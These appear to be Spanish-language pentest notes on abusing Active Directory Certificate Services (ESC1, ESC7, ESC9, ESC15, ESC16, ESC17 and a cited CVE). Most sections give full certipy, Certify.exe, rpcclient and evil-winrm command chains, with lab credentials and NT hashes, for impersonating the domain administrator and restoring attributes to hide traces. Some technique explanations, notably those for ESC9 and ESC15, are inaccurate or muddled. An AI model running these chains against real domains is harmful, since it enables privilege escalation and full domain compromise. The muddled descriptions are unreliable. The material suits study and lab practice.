AD Certificate Services

#adcs #esc8 #esc16 #esc15 #esc9 #ActiveDirectory

Componente Qué es
ADCS Infraestructura de certificados en Active Directory
CA Servidor que emite y gestiona certificados
Plantilla Configuración predefinida para emitir certificados
Certificado Documento digital que verifica identidad

Explotación ESC1-ESC17 con certipy
🔗 https://github.com/ly4k/Certipy/wiki/06-‐-Privilege-Escalation

Explotación ESC1-ESC17 con certify.exe
🔗 https://github.com/GhostPack/Certify/wiki/4-‐-Escalation-Techniques


🧨 ¿Qué es ESC16?

ESC16 es una vulnerabilidad en entornos con ADCS que permite a un atacante obtener un certificado válido para otra cuenta (por ejemplo, un administrador) modificando el atributo userPrincipalName (UPN) de su propia cuenta.


🛠️ ¿Cómo funciona ESC16?

🔐 El truco clave:

La CA no valida que el UPN del certificado coincida con el verdadero dueño de la cuenta.

🚨 Esto permite que:

Si un atacante puede cambiar su UPN al de un administrador, puede obtener un certificado válido que representa a ese administrador.


📌 Requisitos para explotar ESC16

  1. 🔧 Permiso para modificar el atributo userPrincipalName de su propia cuenta (o de otra que controle)
    (Normalmente permitido en muchos entornos)

  2. 🏛️ Una CA vulnerable, donde:

    • No se exige una firma en la solicitud de certificado.

    • No se validan los campos como el UPN correctamente.

    • Plantillas como User permiten autenticación (Client Authentication) y no requieren aprobación.

  3. 🧾 Plantilla vulnerable (como User), que:

    • No requiere firma de solicitud.

    • Usa el UPN del solicitante para generar el certificado.


🧬 Paso a paso del ataque ESC16

Paso Acción Resultado
1️⃣ El atacante cambia el UPN de su cuenta a administrator@dominio.local El UPN ya no es el suyo, es el del administrador
2️⃣ Solicita un certificado usando la plantilla User La CA genera un certificado para el administrador
3️⃣ El atacante usa ese certificado para autenticarse como el administrador Acceso completo al dominio
4️⃣ Restaura el UPN original de su cuenta (limpieza de huellas) Todo parece normal

Para saber el nombre de la CA :

certipy find -u cert_admin -p 'PASS' -dc-ip 10.10.11.72

Buscamos vulnerabilidades:

certipy-ad find -vulnerable -u USUARIO_CONTROLADO -hashes ":ca0f4f9e9eb8a092addf53bb03fc98c8" -dc-ip IPDC

Sacamos el UPN original de la cuenta (para luego restaurarlo)

certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -user 'ca_svc' read

Actualizamos el UPN a administrador para solicitarlo como él

certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69'  -upn 'administrator'  -user 'ca_svc' update

Guardamos autenticación por kerberos

certipy shadow -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -account 'ca_svc' auto

export KRB5CCNAME=ca_svc.ccache     

Solicitamos certificado para la plantilla de autenticación usuario

certipy req -k -dc-ip '10.10.11.69' -target 'DC01.FLUFFY.HTB' -ca 'fluffy-DC01-CA' -template 'User'

Restauramos UPN al de la cuenta original

certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'ca_svc@fluffy.htb' -user 'ca_svc' update 

Nos autenticamos como el admin, con nuestro certificado

certipy auth -dc-ip '10.10.11.69' -pfx 'administrator.pfx' -username 'administrator' -domain 'fluffy.htb'

Nos conectamos con evilwin-rm


🧨 ¿Qué es ESC15?

ESC15 es una vulnerabilidad en entornos con Active Directory Certificate Services (ADCS) que permite a un atacante autenticarse como cualquier usuario, incluso un administrador, usando un certificado que no le pertenece.


🛠️ ¿Cómo funciona ESC15?

🔐 El truco clave:

La CA no valida que el certificado presentado al autenticarse (por ejemplo, mediante PKINIT o SChannel) coincida con el usuario que lo está usando.


🚨 Esto permite que:

Un atacante con cualquier certificado válido puede especificar el nombre de otro usuario (por ejemplo, administrator) al autenticarse, y el sistema confiará en esa identidad.


📌 Requisitos para explotar ESC15

  1. ✅ Tener un certificado válido (por ejemplo, uno obtenido por ESC1, ESC6, ESC13, ESC16...).

  2. 🧾 Ese certificado debe incluir campos que permitan la autenticación (como UPN, SAN o Subject) compatibles con el usuario suplantado.

  3. 🔄 Usar ese certificado en un protocolo que no valide correctamente la identidad del solicitante, como:

    • Kerberos (PKINIT)

    • LDAP con TLS/SSL

    • RDP usando SChannel


🧬 Paso a paso del ataque ESC15

Paso Acción Resultado
1️⃣ El atacante obtiene un certificado válido (por cualquier medio) Tiene una identidad digital funcional
2️⃣ Usa el certificado para autenticarse como administrator@dominio.local mediante PKINIT o RDP El servidor acepta la identidad falsa sin verificarla
3️⃣ Obtiene un TGT como el administrador o accede a servicios como si fuera él Acceso completo al dominio
4️⃣ No necesita modificar ningún objeto en AD El ataque puede ser silencioso

🧨 ¿Qué es ESC9?

ESC9 es una vulnerabilidad de abuso de permisos en entornos con Active Directory Certificate Services (ADCS) que permite a un atacante con permisos de **GenericWrite o GenericAll sobre una plantilla de certificado modificarla para obtener certificados privilegiados.


🛠️ ¿Cómo funciona ESC9?

🔐 El truco clave:

Si un atacante puede modificar la configuración de una plantilla de certificado, puede cambiar sus opciones para emitir certificados que le permitan autenticarse como cualquier usuario.


📌 Requisitos para explotar ESC9

  1. 🔧 Permiso de GenericWrite o GenericAll sobre una plantilla de certificado
    (Puede ocurrir por delegaciones mal configuradas o permisos heredados)

  2. 🏛️ Una CA activa que use esa plantilla para emitir certificados sin revisión manual.

  3. ⚙️ Plantilla que permita ser modificada, donde se puedan cambiar atributos clave como:

    • ENROLLEE_SUPPLIES_SUBJECT (permitir que el solicitante establezca el Subject o SAN).

    • Client Authentication habilitado (EKU).

    • Autorización para usuarios autenticados (Authenticated Users).


🧬 Paso a paso del ataque ESC9

Paso Acción Resultado
1️⃣ El atacante modifica la plantilla de certificado vulnerable Cambia opciones como ENROLLEE_SUPPLIES_SUBJECT a TRUE
2️⃣ Solicita un certificado usando la plantilla, indicando un SAN falso Por ejemplo: administrator@dominio.local
3️⃣ La CA emite un certificado válido con la identidad falsificada El certificado permite autenticarse como esa cuenta privilegiada
4️⃣ El atacante usa el certificado para autenticarse por Kerberos o LDAP Gana acceso con los privilegios del usuario suplantado
5️⃣ Restaura la plantilla a su configuración original (opcional) Oculta rastros de la manipulación

ADCS Attack Series: Abusing ESC9 for Privilege Escalation via Weak Certificate Mapping | by Nairuz Abulhul | R3d Buck3T | Jun, 2025 | Medium

Cuando se cumplen las condiciones para ESC9 podemos cambiar el SPN de un usuario al del Administrador de dominio y a continuación solicitar un certificado para él

Condiciones

Buscamos plantillas vulnerables

certipy-ad find -vulnerable -u 'CA_OPERATOR' -p 'TYx4huMwMr$zbzabeGJS' -dc-ip 10.10.11.41

Buscamos un usuario sobre el que tengamos GenericAll o GenericWrite , sacamos su NTHASH o cambiamos su pass :

rpcclient -U 'MANAGEMENT_SVC%a091c1832bcdd4677c28b5a6a1295584' 10.10.11.41 --pw-nt-hash
setuserinfo2 CA_OPERATOR 23 'TYx4huMwMr$zbzabeGJS'

Modificamos el UPN de la cuenta víctima por el del Administrator

certipy account update -u 'MANAGEMENT_SVC' -hashes 'a091c1832bcdd4677c28b5a6a1295584' -user CA_OPERATOR -upn administrator@certified.htb -dc-ip 10.10.11.41

Solicitamos un certificado como el usuario víctima, con sus credenciales

certipy req -u 'ca_operator@certified.htb' -p 'TYx4huMwMr$zbzabeGJS' -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.10.11.41

Lo dejamos como estaba

certipy account update -u 'MANAGEMENT_SVC' -hashes 'a091c1832bcdd4677c28b5a6a1295584' -user CA_OPERATOR -upn ca_operator@certified.htb -dc-ip 10.10.11.41

No autenticamos con ese certificado

certipy auth -dc-ip '10.10.11.41' -pfx 'administrator.pfx' -username 'administrator' -domain 'certified.htb'
evil-winrm -i 10.10.11.41 -u Administrator -H '0d5b49608bbce1751f708748f67e2d34'

Cuando se tiene una shell pero no se tienen creds

.\Certify.exe enum-templates

ESC1

Esta vuln se suele dar porque se copian y se pegan plantillas por los admins para cierto propósito y se dejan el ENROLLEE_SUPPLIES_SUBJECT activado.

🔗 https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/adcs/esc1

Básicamente el atributo ENROLLEE_SUPPLIES_SUBJECT permite poner el nombre de quien queramos en el certificado y solitarlo

Pasted image 20260613180052.png

Normalmente necesitaríamos que las Extended Key Usage fuesen algo como lo siguiente para poder autenticarnos como Administrator

Pasted image 20260613180228.png

Solicitamos una plantilla como el Administrator

.\Certify.exe enum-templates
.\Certify.exe request --ca 'DC01.logging.htb\logging-DC01-CA' --template UpdateSrv  --upn 'administrator@logging.htb' --sid S-1-5-21-4020823815-2796529489-1682170552-500
openssl pkcs12 -in cert.pem -inkey key.pem -export -out certificate.pfx -passout pass:
certipy auth -dc-ip '10.129.40.53' -pfx 'certificate.pfx' -username 'administrator' -domain 'logging.htb'

ESC17

Lo mismo que ESC1, el mismo problema del atributo ENROLLEE_SUPPLIES_SUBJECT.

Te puede servir para hacerte pasar por un servicio, por ejemplo se puede hacer Wsus Spoofing con HTTPs

.\Certify.exe request --ca 'DC01.logging.htb\logging-DC01-CA' --template UpdateSrv  --dns wsus.logging.htb --output-pem 

ESC7

Se produce cuando un usuario tiene

Diferenciándolo de

Manage CA + sin Manage Certificates
         |
         v
1. Habilitas plantilla SubCA (deshabilitada por defecto)
2. Solicitas certificado SubCA (queda PENDIENTE - status 9)
3. Te auto-apruebas la solicitud (usando Manage CA)
4. Recibes un certificado de CA firmado por la CA legítima
5. Con ese certificado SubCA, firmas certificados para cualquier usuario

Tenemos que añadir al usuario vulnerable como officer lo que nos permite aprobar solicitudes de creación de certificados

certipy ca -u 'GMSA_CA_PROD$' -hashes ':5710cd97225e920cdc6badc919fc8c51' -dc-ip 10.129.25.115 -ca 'fries-DC01-CA' -add-officer 'GMSA_CA_PROD$'

Habilitamos la plantilla SubCA, que es la que usaremos para solicitar el certificado como Administrator

certipy ca -u 'GMSA_CA_PROD$' -hashes ':5710cd97225e920cdc6badc919fc8c51' -dc-ip 10.129.25.115 -ca 'fries-DC01-CA' -enable-template 'SubCA'

Solicitamos la creación del certificado usando la plantilla, esto nos tira permission denied

certipy req -u 'GMSA_CA_PROD$' -hashes ':5710cd97225e920cdc6badc919fc8c51' -dc-ip 10.129.25.115 -ca 'fries-DC01-CA' -template 'SubCA' -upn 'administrator@fries.htb'

SI al intentar aprobar

certipy ca -u 'GMSA_CA_PROD$' -hashes ':5710cd97225e920cdc6badc919fc8c51' -dc-ip 10.129.25.115 -ca 'fries-DC01-CA' -issue-request '1'

CertiGhost (CVE-2026-54121)

🔗 https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26

🔗 https://github.com/aniqfakhrul/CVE-2026-54121

Necesario:

  1. Permisos de Enroll en una plantilla
  2. Machine Account Quota > 0
nxc ldap <ip> -u user -p pass -M maq